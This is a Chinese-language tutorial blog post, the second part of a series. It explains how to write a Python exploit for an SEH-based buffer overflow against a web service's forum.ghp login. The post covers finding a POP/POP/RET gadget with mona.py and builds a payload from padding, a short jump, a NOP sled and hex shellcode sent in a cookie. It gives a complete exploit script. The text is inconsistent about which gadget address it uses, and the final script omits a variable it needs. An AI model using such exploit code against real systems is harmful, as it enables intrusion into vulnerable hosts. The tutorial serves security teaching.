Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)

简介: Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)

接上文 基于结构化异常处理的渗透-使用Python编写渗透模块(一)https://developer.aliyun.com/article/1618639

1.2.2 查找POP/POP/RET指令的地址
现在需要从一个外部的DLL文件载入一个地址,而且是一个没有被SafeSEH保护的DLL文件的POP/POP/RET指令地址。Mona.py是一个由Python编写的用于Immunity Debugger的插件,它提供了大量用于渗透的功能。在Immunity Debugger最下面的长条框里输入命令!mona module,如下图所示:

image.png
image.png

要查找POP/POP/RET指令,需要使用!mona rop命令。如下图所示:

image.png

这个命令执行的结果是生成,C:\Program Files\ImmunityInc\Immunity Debugger\rop.txt文件,这个镜像文件的格式如下图所示:

image.png

注意:虽然找到了很多DLL文件,但是并非所有的DLL文件都可以使用,只有其中不受SafeSEH机制保护的才可以使用,也就是表中SafeSEH列值为False的。另外,我们要在这些文件中查找POP/POP/RET指令的相关地址。从上图中可以看到第一个ImageLoad.dll就是一个不受SafeSEH机制保护的DLL文件。现在我们需要做的就是在这个文件中找到一条POP/POP/RET指令和它的地址。Immunity Debugger中的Mona.py已经找出了这些POP/POP/RET指令,如下图所示:

image.png

从图中选择0x10017743作为要使用的POP/POP/RET指令地址,这条记录完整的内如下:

0x10017743 : # POP EBP #  POP EBX 3 RETN     ** [ImageLoad.dll] **     | ascii{
   PAGE_EXECUTE_READ}

我们将会使用0x10019798作为POP/POP/RET指令的地址。现在已经有了两个可以用来编写渗透模块的重要组件,一个偏移量,另一个是用来载入catch块的地址,也就是POP/POP/RET指令的地址。

1.3 使用Python编写渗透模块
定义发往目标服务器的数据,包括如下几个部分:

  • 导致目标服务溢出的字符(4059个“A”)
  • Payload = “A” * 4059
  • 实现跳转的指令(“\xeb\x06\x90\x90”)
  • buff += “\xeb\x06\x90\x90”
  • POP/POP/RET指令地址
  • buff += “\x43\x77\x01\x10”
  • 用来实现空指令滑行的代码,作用就是在跳转地址和Shellcode之间设置一个滑行区域,这个区域使用空指令填充,从而避免Shellcode中的代码不能正常执行,在此处添加30、40、50个空指令都可以使代码滑行到Shellcode部分(这个数值通过测试得到)。空指令的数量太少会崩溃,太多会死机:
  • Payload += “\x90” * 40
  • 用来在目标主机上实现特定功能的代码,在很多地方可以找到这种代码,另外Kali 中也提供了这种工具,下面是一代码的作用就是启动Windows系统下的计算器。
  • 构造一个发往目标主机的数据包,参照1.2中的内容:
  • cookies = dict(SESSIONID=‘28740’, UserID=buff, PassWD=‘abcdefg’)
  • data=dict(frmLogin=True, frmUserName=‘123’, frmUserPass=‘abcdefg’, login=‘Login’)
  • requests.post(‘http://’+host+‘:’+str(port)+‘/forum.ghp’, cookies=cookies,data=data)

使用socket将这个数据包发送出去:

requests.post('http://'+host+':'+str(port)+'/forum.ghp',cookies=cookies,data=data)

完整的程序如下所示:

import requests
host = '192.168.68.129'
port = 80
shellcode=( '\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x39\xbd')  #这是一段可以在windows 7中国启动计算器的代码
buff = 'A' * 4059
buff += '\xeb\x06\x90\x90'
buff += '\x43\x77\x01\x10'
buff += '\x90' * 40
buff += shellcode
buff += 'C' * 50
cookies = dict(SESSIONID='28740', UserID=buff, PassWD='abcdefg')
requests.post('http://'+host+':'+str(port)+'/forum.ghp', cookies=cookies,data=data)

image.png

执行这段程序以后,在目标主机查看反应,结果如下图所示:
image.png

相关文章
|
7天前
|
Python
在Python中,可以使用内置的`re`模块来处理正则表达式
在Python中,可以使用内置的`re`模块来处理正则表达式
19 5
|
17天前
|
Java 程序员 开发者
Python的gc模块
Python的gc模块
|
20天前
|
数据采集 Web App开发 JavaScript
python-selenium模块详解!!!
Selenium 是一个强大的自动化测试工具,支持 Python 调用浏览器进行网页抓取。本文介绍了 Selenium 的安装、基本使用、元素定位、高级操作等内容。主要内容包括:发送请求、加载网页、元素定位、处理 Cookie、无头浏览器设置、页面等待、窗口和 iframe 切换等。通过示例代码帮助读者快速掌握 Selenium 的核心功能。
62 5
|
19天前
|
编解码 安全 Linux
网络空间安全之一个WH的超前沿全栈技术深入学习之路(10-2):保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali——Liinux-Debian:就怕你学成黑客啦!)作者——LJS
保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali以及常见的报错及对应解决方案、常用Kali功能简便化以及详解如何具体实现
|
19天前
|
Python
SciPy 教程 之 SciPy 模块列表 16
SciPy教程之SciPy模块列表16 - 单位类型。常量模块包含多种单位,如公制、质量、角度、时间、长度、压强、体积、速度、温度、能量、功率和力学单位。示例代码展示了力学单位的使用,如牛顿、磅力和千克力等。
15 0
|
20天前
|
JavaScript Python
SciPy 教程 之 SciPy 模块列表 15
SciPy 教程之 SciPy 模块列表 15 - 功率单位。常量模块包含多种单位,如公制、质量、时间等。功率单位中,1 瓦特定义为 1 焦耳/秒,表示每秒转换或耗散的能量速率。示例代码展示了如何使用 `constants` 模块获取马力值(745.6998715822701)。
15 0
|
20天前
|
JavaScript Python
SciPy 教程 之 SciPy 模块列表 15
SciPy教程之SciPy模块列表15:单位类型。常量模块包含多种单位,如公制、质量、角度、时间、长度、压强、体积、速度、温度、能量、功率和力学单位。功率单位以瓦特(W)表示,1W=1J/s。示例代码展示了如何使用`constants`模块获取马力(hp)的值,结果为745.6998715822701。
16 0
|
6月前
|
Python 人工智能 数据可视化
Python模块与包(八)
Python模块与包(八)
50 0
Python模块与包(八)
|
2月前
|
人工智能 数据可视化 搜索推荐
Python异常模块与包
Python异常模块与包
|
2月前
|
开发者 Python
30天拿下Python之模块和包
30天拿下Python之模块和包
18 2